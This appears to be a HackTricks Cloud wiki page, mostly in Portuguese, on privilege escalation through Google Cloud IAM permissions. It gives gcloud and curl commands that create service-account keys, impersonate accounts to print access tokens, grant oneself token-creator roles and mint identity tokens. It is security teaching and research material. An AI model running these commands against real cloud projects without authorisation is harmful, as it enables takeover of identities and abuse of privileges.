GCP - IAM Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
IAM
Mais informações sobre IAM em:
GCP - IAM, Principals & Org Policies Enum
iam.roles.update (iam.roles.get)
Um atacante com as permissões mencionadas poderá atualizar uma role atribuída a você e conceder permissões adicionais em outros recursos, como:
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
Você pode encontrar um script para automatizar a criação, exploit e limpeza de um ambiente vuln aqui e um script python para abusar desse privilégio here. Para mais informações, confira a original research.
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
iam.roles.create & iam.serviceAccounts.setIamPolicy
A permissão iam.roles.create permite a criação de funções personalizadas em um projeto/organização. Nas mãos de um atacante, isso é perigoso porque lhe possibilita definir novos conjuntos de permissões que podem ser posteriormente atribuídos a entidades (por exemplo, usando a permissão iam.serviceAccounts.setIamPolicy) com o objetivo de elevar privilégios.
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
Um atacante com as permissões mencionadas poderá solicitar um access token que pertença a uma Service Account, portanto é possível solicitar um access token de uma Service Account com mais privilégios do que a nossa.
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
Você pode encontrar um script para automatizar a creation, exploit and cleaning of a vuln environment here e um script em python para abusar desse privilégio here. Para mais informações, consulte a original research.
iam.serviceAccountKeys.create
Um atacante com as permissões mencionadas poderá create a user-managed key for a Service Account, o que nos permitirá acessar o GCP como essa Service Account.
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.
Observe que iam.serviceAccountKeys.update não funcionará para modificar a chave de uma SA porque, para isso, a permissão iam.serviceAccountKeys.create também é necessária.
iam.serviceAccounts.implicitDelegation
Se você tiver a permissão iam.serviceAccounts.implicitDelegation em uma Service Account que possui a permissão iam.serviceAccounts.getAccessToken em uma terceira Service Account, então você pode usar implicitDelegation para criar um token para essa terceira Service Account. Aqui está um diagrama para ajudar a explicar.

Observe que segundo a documentation, a delegação do gcloud funciona apenas para gerar um token usando o método generateAccessToken(). Então aqui está como obter um token usando a API diretamente:
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
Você pode encontrar um script para automatizar a creation, exploit and cleaning of a vuln environment here e um script python para abusar deste privilégio here. Para mais informações confira a original research.
iam.serviceAccounts.signBlob
Um atacante com as permissões mencionadas poderá assinar payloads arbitrários in GCP. Assim será possível criar um JWT não assinado da SA e então enviá-lo como um blob para que o JWT seja assinado pela SA que estamos alvejando. Para mais informações read this.
Você pode encontrar um script para automatizar a creation, exploit and cleaning of a vuln environment here e um script python para abusar deste privilégio here e here. Para mais informações confira a original research.
iam.serviceAccounts.signJwt
Um atacante com as permissões mencionadas poderá assinar JSON Web Tokens (JWTs) bem-formados. A diferença em relação ao método anterior é que em vez de fazer google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT. Isso o torna mais fácil de usar, mas você só pode assinar JWTs em vez de quaisquer bytes.
Você pode encontrar um script para automatizar a creation, exploit and cleaning of a vuln environment here e um script python para abusar deste privilégio here. Para mais informações confira a original research.
iam.serviceAccounts.setIamPolicy
Um atacante com as permissões mencionadas poderá adicionar políticas IAM a contas de serviço. Você pode abusar disso para conceder a si mesmo as permissões necessárias para se fazer passar pela conta de serviço. No exemplo a seguir estamos nos concedendo o papel roles/iam.serviceAccountTokenCreator sobre a SA de interesse:
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
Você pode encontrar um script para automatizar o creation, exploit and cleaning of a vuln environment here.
iam.serviceAccounts.actAs
A iam.serviceAccounts.actAs permission é semelhante à iam:PassRole permission from AWS. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a habilidade de “actAs” uma Service Account, garantindo um gerenciamento de permissões seguro. Sem isso, usuários podem obter acessos indevidos. Além disso, explorar a iam.serviceAccounts.actAs envolve vários métodos, cada um exigindo um conjunto de permissões, em contraste com outros métodos que necessitam de apenas uma.
Impersonação de conta de serviço
Impersonar uma service account pode ser muito útil para obter privilégios novos e melhores. Há três maneiras pelas quais você pode impersonate another service account:
- Autenticação using RSA private keys (covered above)
- Autorização using Cloud IAM policies (covered here)
- Deploying jobs on GCP services (mais aplicável ao comprometimento de uma conta de usuário)
iam.serviceAccounts.getOpenIdToken
Um atacante com as permissões mencionadas poderá gerar um OpenID JWT. Estes são usados para afirmar identidade e não carregam necessariamente qualquer autorização implícita sobre um recurso.
De acordo com este interesting post, é necessário indicar a audience (serviço onde você quer usar o token para autenticar) e você receberá um JWT assinado pelo google indicando a service account e a audience do JWT.
Você pode gerar um OpenIDToken (se tiver o acesso) com:
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
Então você pode usá-lo para acessar o serviço com:
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
Alguns serviços que suportam autenticação via esse tipo de token são:
- Google Cloud Run
- Google Cloud Functions
- Google Identity Aware Proxy
- Google Cloud Endpoints (se estiver usando Google OIDC)
Você pode encontrar um exemplo de como criar um token OpenID em nome de uma conta de serviço aqui.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

